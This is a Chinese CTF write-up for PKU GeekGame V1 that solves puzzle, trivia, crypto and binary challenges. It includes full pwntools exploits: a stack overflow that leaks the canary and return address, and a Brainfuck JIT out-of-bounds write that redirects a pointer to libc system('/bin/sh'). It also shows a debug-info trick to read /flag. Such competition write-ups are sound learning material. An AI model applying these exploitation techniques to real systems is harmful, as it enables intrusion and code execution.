PKU GeekGame V1 Writeup

by pkuGenuine

签到

用 MacOS 自带的 preview 打开，全选复制粘贴，得到 `eAGetTm@ek __ra_ieGeG`

用 Chrome 打开，得到 `eAGetTm@ekaev! lgHv__ra_ieGeG`

试了一轮凯撒密码，找不到有意义的词，观察字符的频率，`e` 的频率很高，故推测应该是移位密码。去网上搜经典古典密码，发现栅栏密码对得上。

```
    eAGetTm@ekaev!
lgHv__ra_ieGeG
```

能产生有意义字符串：`A_Great_Time...` 一开始没意识到复制出来的内容不全，乱试了挺久.....

意识到可能缺内容了，`vim` 打开，看到有 `Font` 字符，然后找到了 Wingdings Font 这种东西，意识到那些符号本质就是 pdf 中的文本。

找了个在线提取 pdf 文本的网站，得到

```
fa{aeAGetTm@ekaev!
lgHv__ra_ieGeGm_1}
```

小北问答

1. 北京大学燕园校区有理科 1 号楼到理科 X 号楼，但没有理科 (X+1) 号及之后的楼。X 是?

   百度地图能搜到理科五号楼，收不到六号

2. 上一届（第零届）比赛的总注册人数有多少?

   推送

3. geekgame.pku.edu.cn 的 HTTPS 证书曾有一次忘记续期了，发生过期的时间是?

   第一反应是 google 的 transparency，能查到日期但查不到具体的时间。能查到 log 位置，但是不会用.....

   之后用 crt.sh 可以查到具体的证书详情

4. 2020 年 DEFCON CTF 资格赛签到题的 flag 是?

   去官网下载

5. 在大小为 672328094 * 386900246 的方形棋盘上放 3 枚（相同的）皇后且它们互不攻击，有几种方法?

   这个没提示真做不出来..... OEIS 上搜索 queens，能查到一个复杂的公式。

6. 上一届（第零届）比赛的“小北问答1202”题目会把所有选手提交的答案存到 SQLite 数据库的一个表中，这个表名叫?

进 git 仓库看代码

7. 国际互联网由许多个自治系统（AS）组成。北京大学有一个自己的自治系统，它的编号是?

在一个查 AS 的网站上查的竟然是错的。搜索 PKU 的 IP range 的时候第一个就是……

8. 截止到 2021 年 6 月 1 日，完全由北京大学信息科学技术学院下属的中文名称最长的实验室叫?

记不清怎么搜的了，在信科官网一个招生性质的页面上，有实验室一览，并且日期就是 6 月 1 日。不过“区域光纤通信网与新型光通信系统国家重点实验室”不是信科完全下属的吧……

在线解压网站

其实提示放出来之前就想过用软链接，但想到之后的第一想法就是，zip 怎么会知道文件类型呢。然后提示就打脸了……

```
$zip
...
    -y   store symbolic links as the link instead of the referenced file
```

诡异的网关

删除账号后发现 `config` 是唯一被修改的文件。

替换 `config` 之后发现账号又出现了。

IDA 找读取 `config` 的函数，复制伪代码自己编译跑一下 flag 就出了。

射水鱼

把 `0x1024` 的 `0x` 看漏了于是压了一晚上 ELF 文件，压好之后然后发现远程阻塞住了没有反应的废物是谁呢呢?没错，就是我。

一开始尝试了半天能不能阻止 `gdb` 执行 `q`（但做不到），或者宏能不能进行注入（gdb 一行不能执行多条指令）。后来无意观察到遇到断点的时候会输出文件相应的行。然后由于以往 debug 犯傻的经历，知道这个内容应该是 debug 的时候动态读取而不是直接写进 debug 的信息的。

在 `hello.s` 文件中把修改 `.text` 段的文件路径为 `/flag`，修改位置为 `1, 1, 0`，上传即可。

`hello.s` 内容如下（删掉了能删的字符串，`main` 的指令只留了一个 `retq`，DW_ART 的部分也删了一点）：

```
  .text
  .globl  main                    # -- Begin function main
  .p2align  4, 0x90
  .type main,@function
main:                                   # @main
.Lfunc_begin0:
  .file 1 "/flag"
  .loc  1 1 0                   # ./hello.c:1:0
  .cfi_startproc
  retq
```

```
.Ltmp0:
.Lfunc_end0:
  .size main, .Lfunc_end0-main
  .cfi_endproc
                                        # -- End function
  .section  .debug_str,"MS",@progbits,1
.Linfo_string3:
  .asciz  ""                  # string offset=60
  .section  .debug_abbrev,"",@progbits
  .byte 1                       # Abbreviation Code
  .byte 17                      # DW_TAG_compile_unit
  .byte 1                       # DW_CHILDREN_yes
  .byte 37                      # DW_AT_producer
  .byte 14                      # DW_FORM_strp
  .byte 19                      # DW_AT_language
  .byte 5                       # DW_FORM_data2
  .byte 3                       # DW_AT_name
  .byte 14                      # DW_FORM_strp
  .byte 16                      # DW_AT_stmt_list
  .byte 23                      # DW_FORM_sec_offset
  .byte 27                      # DW_AT_comp_dir
  .byte 14                      # DW_FORM_strp
  .byte 17                      # DW_AT_low_pc
  .byte 1                       # DW_FORM_addr
  .byte 18                      # DW_AT_high_pc
  .byte 6                       # DW_FORM_data4
  .byte 0                       # EOM(1)
  .byte 0                       # EOM(2)
  .byte 2                       # Abbreviation Code
  .byte 46                      # DW_TAG_subprogram
  .byte 0                       # DW_CHILDREN_no
  .byte 17                      # DW_AT_low_pc
  .byte 1                       # DW_FORM_addr
  .byte 18                      # DW_AT_high_pc
  .byte 6                       # DW_FORM_data4
  .byte 64                      # DW_AT_frame_base
  .byte 24                      # DW_FORM_exprloc
  .ascii  "\227B"                 # DW_AT_GNU_all_call_sites
  .byte 25                      # DW_FORM_flag_present
  .byte 3                       # DW_AT_name
  .byte 14                      # DW_FORM_strp
  .byte 58                      # DW_AT_decl_file
  .byte 11                      # DW_FORM_data1
  .byte 59                      # DW_AT_decl_line
  .byte 11                      # DW_FORM_data1
  .byte 73                      # DW_AT_type
  .byte 19                      # DW_FORM_ref4
  .byte 63                      # DW_AT_external
  .byte 25                      # DW_FORM_flag_present
```

```
  .byte 0                       # EOM(1)
  .byte 0                       # EOM(2)
  .byte 0                       # EOM(3)
  .section  .debug_info,"",@progbits
.Lcu_begin0:
  .long .Ldebug_info_end0-.Ldebug_info_start0 # Length of Unit
.Ldebug_info_start0:
  .short  4                       # DWARF version number
  .long .debug_abbrev           # Offset Into Abbrev. Section
  .byte 8                       # Address Size (in bytes)
  .byte 1                       # Abbrev [1] 0xb:0x40 DW_TAG_compile_unit
  .long .Linfo_string3          # DW_AT_producer
  .short  12                      # DW_AT_language
  .long .Linfo_string3          # DW_AT_name
  .long .Lline_table_start0     # DW_AT_stmt_list
  .long .Linfo_string3          # DW_AT_comp_dir
  .quad .Lfunc_begin0           # DW_AT_low_pc
  .long .Lfunc_end0-.Lfunc_begin0 # DW_AT_high_pc
  .byte 2                       # Abbrev [2] 0x2a:0x19 DW_TAG_subprogram
  .quad .Lfunc_begin0           # DW_AT_low_pc
  .long .Lfunc_end0-.Lfunc_begin0 # DW_AT_high_pc
  .byte 1                       # DW_AT_frame_base
  .byte 87
                                        # DW_AT_GNU_all_call_sites
  .long .Linfo_string3          # DW_AT_name
  .byte 1                       # DW_AT_decl_file
  .byte 1                       # DW_AT_decl_line
  .long 67                      # DW_AT_type
                                        # DW_AT_external
  .byte 0                       # End Of Children Mark
.Ldebug_info_end0:
  .section  .debug_line,"",@progbits
.Lline_table_start0:
```

产生 `hello.debug` 的脚本：

```
as hello.s -o hello.o
ld hello.o -o hello_clang --omagic --relax --nmagic
objcopy --only-keep-debug --compress-debug-sections hello_clang hello.debug
objcopy --remove-section=.comment hello.debug
objcopy --strip-symbol=_start hello.debug
objcopy --remove-section=.eh_frame hello.debug
```

最后还自己手动改 ELF，去掉了几个 `symtab` 的内容，`strtab` 也进行了删减。

字符串转义

首先注意到是数据从 `input` 解析到 `escape` 是有溢出的。可以读入 `0x80` 字节的数据，末位的 `\x00` 会存入 `escape` 的第一个字节。然后解析转义的时候就会覆盖结尾的 `'\x00'`。可以使得 `from` 可以走到更远的位置。

如果从 `input` 开始，存在至少 `0x80 + 0x7f` 个 `'\\'`，则可以使 `from` 走到和 `to` 一样的位置。之后，如果仍然有 `'\\'`，则可以使 `from` 快于 `to`（`from` 地址更高），从而可以把栈上高地址的内容搬到低地址。这种搬运会被 `'\x00'` 阻断，但 `'\x00'` 可以被 `'\\'` 转义而失效。所以需要考虑控制 `escape` 之后栈上空间的内容。

通过控制转义字符的数量和 `\x00` 的位置，可以对栈内容进行定量的覆写。一开始思路没有特别清晰，写了一个凑数的函数，暴力凑：

```
# 输入为 s 个 '\\', f 个 'f', ss 个 '\\'
# s 是经过两轮转义的部分，需要能被 2 整除，4n 与 4n + 2 的效果是一样的
# f 姑且认为可以填 payload，当时设置的是需要能被 2 整除，但现在想想应该不需要
# ss 是一轮转义的部分，需要模 4 余 1。这样会转义产生一个 '\x00' 用于停止覆写
# 输出 r1, r2
# r1 表示到最后一个 'f' 总共输出的字符数，r2 表示最后一个 'f' 之后输出的 '\\' 的数量
def t(s, f, ss):
    # sss 为 input 中剩余的部分，一般提前全部写为 '\\'
    sss = 0x80 - s - f - ss - 1
    assert sss > 0
    assert (sss % 2 == 0)
    assert (s % 2 == 0)
    s = s // 2
    assert (ss % 2 == 1)
    ss = ss // 2
    assert (f % 2 == 0)
    sss = sss // 2

    ff = 0
    if s == 0:
        pass
    else:
        assert (s % 2 == 1)
    ff += s // 2
    ff += f

    assert (ss % 2 == 0)
    r1 = s + f + ss + 1 + sss + ff
    r2 = ss // 2
    print(hex(r1), hex(r2))
```

后来发现 `s` 每增加 `4`，`r1` 增加 `1`；`f` 每增加 `2`，`r1` 增加 `3`。

以获取 canary 为例：

```
# s = 0, f = 0x2e, ss = 0xd
# r1 = 0x85, r2 = 0x3
# 0x88 个字节正好到 canary 之前，to 最后写入的 0 是 canary 本身就存在的 0
```

```python
# 由于在 input + 0x100 之后存在 3 个 '\\', 可以将 cananry 和 canary 之后的内容 ( 直到遇到 '\x00' 向前搬运两位 )
def shift_two_canary():
    # 填充 buffer
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

    # 构造栈上内容
    p.recvline()
    payload = b'f' * 0x2e
    payload += b'\\' * 0xd
    p.sendline(payload)
    p.recvline()

    # 移位 2
    # 在下一轮输入全 '\\' 的时候, input + 0x100 之后会留存一个 '\\', 又前向前搬运一位
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

# s = 0xe, f = 0x2a, ss = 0xd
# r1 = 0x82, r2 = 0x3
# 仍然是正好覆写到 canary 之前, 并再向前移动 3 位
def shift_four_canary():
    # 移位 1
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

    # 构造栈上内容
    p.recvline()
    payload = b'\\' * 0xe
    payload += b'f' * 0x2a
    payload += b'\\' * 0xd
    p.sendline(payload)
    p.recvline()

    # 移位 2
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

    # 同理, 由于栈上留了一个 '\\', 移位 1
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

# r1 = 0x82, r2 = 0x1
```

```python
# '\x00' 覆盖掉已经 dump 出的 byte，然后前移 1 byte
def shift_one_idx():
    payload = b'\\' * 0xa
    payload += b'f' * 0x2a
    payload += b'\\' * 0x5
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()


canary = b'\x00'
shift_two_canary()
shift_four_canary()

# 两次操作以移位 6 次，canary 第一位非 0 值被移动到 id 的最后一位
canary += p8(extract_bytes(p.recvline())[-1])
for i in range(6):
    # 每次 dump 1 byte
    shift_one_idx()
    canary += p8(extract_bytes(p.recvline())[-1])
print(hex(u64(canary)))
```

然后以类似的方法获取 rbp 和 return address 的值。

之后，需要调用 `print_flag(flag)`，由于是 `%rdi` 传参，不能跳转到函数的开头。而应跳转到 `mov %rdi, [%rbp - 0x48]` 这条指令。故把栈上的 `rbp` 覆写为 `rbp + 0x50`（因为 `print_flag` 本身的栈桢就是 `0x50`），然后对应的位置写入 flag 路径对应的地址，加上覆写 `canary` 和 `return address`，之后让函数返回即可。

需要注意的是，`'\x00'` 不太好直接写，我的做法是前控制覆写长度，让程序在后面补 `\0x00` 来实现。

（又臭又长自己都不想看的）完整 exp:

```python
from pwn import *
import code

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-v']

p = remote("prob12.geekgame.pku.edu.cn", 10012)
p.recvuntil("Please input your token: ")
p.sendline("112:MEUCIQCpPu1nEtPdIcq2oURxJeIP7X7Ab2aR/4BsvGU1nJBBRwIgCpN1RHDqEBQT3nYE6CRan+MPUiGmLxl5msVmxZUgGDU=")

# p = process("secret")
# pwnlib.gdb.attach(p)

p.recvline()
```

```python
def extract_bytes(s):
    s = s.decode().split(":")[0].split("#")[-1]
    n = int(s)
    if n < 0:
        return p32(n + 0xffffffff + 1)
    return p32(n)

def shift_two_canary():
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    payload = b'f' * 0x2e
    payload += b'\\' * 0xd
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

def shift_four_canary():
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    payload = b'\\' * 0xe
    payload += b'f' * 0x2a
    payload += b'\\' * 0xd
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

def shift_two_idx():
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    payload = b'\\' * 0xa
    payload += b'f' * 0x2a
    payload += b'\\' * 0xd
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
```

```
def shift_one_idx():
    payload = b'\\' * 0xa
    payload += b'f' * 0x2a
    payload += b'\\' * 0x5
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()


def shift_ret_n1():
    payload = b'\\' * 0x6
    payload += b'f' * 0x32
    payload += b'\\' * 0x2d
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

def shift_ret_n2():
    p.recvline()
    payload = b'\\' * 0xa
    payload += b'f' * 0x2a
    payload += b'\\' * 0x35
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

def shift_ret_n3():
    p.recvline()
    payload = b'\\' * 0xe
    payload += b'f' * 0x2a
    payload += b'\\' * 0x15
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

def shift_ret_n4():
    p.recvline()
```

```
    payload = b'\\' * 0xa
    payload += b'f' * 0x2a
    payload += b'\\' * 0xd
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

def overwrite_0():
    payload = b'\\' * 0x6
    payload += b'f' * 0x74
    payload += b'\\'
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    payload = b''
    payload += b'f' * 0x4a
    payload += b'\\'
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    payload = b'\\' * 0x16
    payload += b'f' * 0x40
    payload += p64(r_str)[:6]
    payload += b'\\'
    p.sendline(payload)
    p.recvline()

def overwrite():
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()


    p.recvline()
    payload = b'\\' * 0xa
    payload += b'f' * 0x3e
    payload += b'\\'
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
```

```
    p.recvline()


    p.recvline()
    payload = b'\\' * 0x6
    payload += b'f' * 0x38
    payload += p64(r_flag)[:6]
    payload += b'\\'
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()

def overwrite_2():
    p.recvline()
    payload = b'\\' * 0x1a
    payload += b'f' * 0x36
    payload += b'\\'
    p.sendline(payload)
    p.recvline()
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    p.recvline()
    payload = b'\\' * 0x16
    payload += b'f' * 0x28
    payload += b'f' + canary[1:]
    payload += p64(r_rbp)[:6]
    payload += b'\\'
    p.sendline(payload)
    p.recvline()


def overwrite_3():
    p.recvline()
    p.sendline(b'\\' * 0x80)
    p.recvline()
    payload = b'\\' * 0xe
    payload += b'f' * 0x2e
    payload += b'\\'
    p.sendline(payload)
    p.recvline()

def trigger():
    # time.sleep(0x10)
    p.recvline()
    p.sendline("quit")
    p.interactive()
```

```
canary = b'\x00'
shift_two_canary()
shift_four_canary()

# print(extract_bytes(p.recvline()))
canary += p8(extract_bytes(p.recvline())[-1])
for i in range(6):
    shift_one_idx()
    # print(extract_bytes(p.recvline()))
    canary += p8(extract_bytes(p.recvline())[-1])
print(hex(u64(canary)))

rbp = b""
for i in range(6):
    shift_one_idx()
    # print(extract_bytes(p.recvline()))
    rbp += p8(extract_bytes(p.recvline())[-1])
rbp += b"\x00\x00"
print(hex(u64(rbp)))
r_rbp = u64(rbp) + 0x40


ret = b''

shift_ret_n1()
shift_ret_n2()
shift_ret_n3()
shift_ret_n4()

ret += p8(extract_bytes(p.recvline())[-1])

for i in range(5):
    p.sendline(b'\\' * 0x80)
    p.recvline()
    ret += p8(extract_bytes(p.recvline())[-1])
    payload = b'\\' * 0xa
    payload += b'f' * 0x2a
    payload += b'\\' * 0x5
    p.sendline(payload)
    p.recvline()
    p.recvline()

ret += b'\x00\x00'
ret = u64(ret)
l_ret = 0x157f
l_str = 0x2091
```

```
l_flag = 0x14c5
r_flag = ret - l_ret + l_flag
r_str = ret - l_ret + l_str

print("old ret", hex(ret))
print("r_str", hex(r_str))

overwrite_0()
overwrite()
overwrite_2()
overwrite_3()

time.sleep(10)

trigger()
```

最强大脑

关键部分一：执行多次的代码块会被 JIT，JIT 之后，会一直在 JIT 内部执行，直到条件不满足才退出 JIT。并且下一次再遇到已经被 JIT 的代码块时，会直接调用 JIT 得到的函数，并以 bf (`g_flag1_iter`) 的指针作为参数。 这个函数的入口地址被存在 `jit_ptr` 这个数组中。

```
if ( chr == '[' )
{
  v6 = 8 * l_start;
  v7 = (char *)jit_ptr[l_start];
  if ( v7
    || (v8 = (unsigned __int64 *)((char *)jit_cnt + v6), v9 = *v8 + 1, *v8 = v9, v9 > 0xF)
    && (l_end = g_brackets_match[l_start] + 1 - (_QWORD)l_codes,
        v7 = prepare_jit(l_start, l_end),
        v6 = (__int64)jit_ptr,
        (jit_ptr[l_start] = (__int64)v7) != 0) )
  {
    g_flag1_iter = ((__int64 (__fastcall *)(__int64, __int64, __int64))v7)(g_flag1_iter, l_end, v6);
    g_codes_iter = (char *)(g_brackets_match[l_start] + 1);
    result = 1LL;
  }
```

关键部分二：

JIT 把 `>` 直接编译为 `inc rbx` ，并不检查是否越界

```
if ( chr != '>' )
  break;
++l_iter;
copy2exe_buffer(&unk_2037, 3uLL);       // inc     rbx
```

到此，已经看到了解题的思路：

1. 除了 JIT 生成的函数是由 `mmap` 分配的，其他的动态内存都在堆上。因此在 JIT 内，可以覆写 `jit_ptr` , 使得其指向一个可以获得 `shell` 的地址
2. 退出 JIT 并再次进入相同的代码块

我的做法是在 `jit_ptr` 内写入 `system` 的 `libc` 地址，让 bf 的指针指向 `"/bin/sh"`

还有需要注意的地方是，移动 bf(`g_flag1_iter`) 指针的时候，需要注意保存原来的内容，比如括号匹配的信息是不应该被覆写掉的。

完整 exp:

```python
from pwn import *
import sys
import os
import code

# 本地的堆地址
flag_buffer = 0x9470
codes = 0xa480
bracket_match = 0xb8e0
jit_ptr = 0xcaf0
jit_cnt = 0xdd00
unsorted_bin = 0xb7e0

# 本地泄露的 libc 地址
leaked_local_addr = 0x7ffff7fbabe0
local_malloc_addr = 0x7ffff7e6c260
offset_1 = 0x14e980


lib = ELF("libc-2.31.so")

offset_2 = lib.symbols["malloc"] - 0xe6c81
offset_3 = lib.symbols["malloc"] - lib.symbols["system"]

# 将第二层括号 JIT
# 第三层括号用于循环覆写
# 最外层括号 trigger 利用
                        # 这些左移让指针指向 "/bin/sh"
s = ",[ [,[,>>.<,],],<<<<<<<<]"
# 堆风水
s += (0x240 - len(s)) * "<"
with open("test.txt", "w") as f:
    f.write(s)

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-v']
p = process(["bf", "test.txt"])
p = remote("prob13.geekgame.pku.edu.cn", 10013)
p.recvuntil("Please input your token: ")
p.sendline("112:MEUCIQCpPu1nEtPdIcq2oURxJeIP7X7Ab2aR/4BsvGU1nJBBRwIgCpN1RHDqEBQT3nYE6CRan+MPUiGmLxl5msVmxZUgGDU=")
p.recvuntil("give me code (hex): ")
p.sendline(s.encode().hex())

```

```python
class Solver:
    def __init__(self):
        time.sleep(1)
        self.l0 = b'\x00'
        self.r1 = b'\x00'
        p.send(p8(1))
        p.send(p8(0))
        for i in range(0x10):
            p.send(b'l')
            p.send(b'\x00')

    # ptr += n; *ptr = 0; *(ptr+1) = 0
    def rpass(self, n):
        p.send(p8(1))
        for i in range(n):
            p.send(p8(1))
            p.send(self.l0)
            self.l0 = self.r1
            self.r1 = p.recv(1)
        p.send(p8(0))

    # write ptr[0:len(bt)]; ptr[len(bt), len(bt) + 1] = '\x00\x00'
    def rwrite(self, bt):
        p.send(p8(1))
        for b in bt:
            p.send(p8(1))
            p.send(p8(b))
            self.l0 = self.r1
            self.r1 = p.recv(1)
        p.send(p8(0))

    def rread(self, n):
        b = b''
        p.send(p8(1))
        for i in range(n):
            p.send(p8(1))
            p.send(self.l0)
            b += self.l0
            self.l0 = self.r1
            self.r1 = p.recv(1)
        p.send(p8(0))
        return b

    def trigger(self):
        p.send(p8(0))
        p.send(p8(1))

solver = Solver()
solver.rpass(unsorted_bin - flag_buffer)
```

```python
print("libc_addr:", end=" ")
libc_addr = solver.rread(8)
print(hex(u64(libc_addr)))
solver.rpass(jit_ptr - unsorted_bin - 0x8 + 0x18)

# one_gadget 不太行，寄存器没法控制
one_gadget = u64(libc_addr) - offset_1 - offset_2
system_run_addr = u64(libc_addr) - offset_1 - offset_3
# solver.rwrite(p64(one_gadget))
solver.rwrite(p64(system_run_addr))
solver.rwrite(b'/bin/sh\x00')
print("Write OK")
time.sleep(3)
solver.trigger()
p.interactive()


time.sleep(100000)
```

密码学实践

第一题

分块加密，每一个块上用的 key 是相同的，并且 key 的运算也是相同的，故最后可以通过不同块之间的异或操作去除。故可以先不考虑 key。

不考虑 key 的情况下，剩下的部分每 6 次操作构成一个循环，故相当于只进行了两次操作。

```python
b = bytes.fromhex("de444cb7ccbe1f7b7074c1cc1d167d8efe9f4f9cb5343f9583a52495b8c742eeda5900b29fe3566b7935dfd82e5338aaddc70999e82225eac6d931818ac42798f64c4e84a38e10701d5cb0ab603e01f1ea976d9cdb4d44a8b2965dc8aaaa44d5")
bl = []
while len(b):
    bl.append(b[:8])
    b = b[8:]
from pwn import *
bl_2 = []
for i in range(3):
    a, b, c, d = xor(bl[i * 4], bl[i * 4 + 2]), xor(bl[i * 4 + 1], bl[i * 4 + 3]), bl[i * 4], bl[i * 4 + 1]
    bl_2.append(a)
    bl_2.append(b)
    bl_2.append(c)
    bl_2.append(d)
    print(a, b, c, d)
xy = []
yz = []
xz = []
```

```python
for i in range(4):
    xy.append(xor(bl_2[i], bl_2[i + 4]))
    yz.append(xor(bl_2[i + 4], bl_2[i + 8]))
    xz.append(xor(bl_2[i], bl_2[i + 8]))
x = b"Hello, Alice! I will give you two flags. The first is"[:32]
x_ = []
for i in range(4):
    x_.append(x[i * 8: i * 8 + 8])
x_
# [b'Hello, A', b'lice! I ', b'will giv', b'e you tw']
y_ = []
z_ = []
for i in range(4):
    y_.append(xor(x_[i], xy[i]))
for i in range(4):
    z_.append(xor(x_[i], xz[i]))
s = x_ + y_ + z_
f = b""
for b in s:
    f += b
f
# b'Hello, Alice! I will give you two flags. The first is:
flag{Fe1SteL_neTw0rk_Ne3d_an_OWf}\x08\x08\x08\x08\x08\x08\x08\x08'
```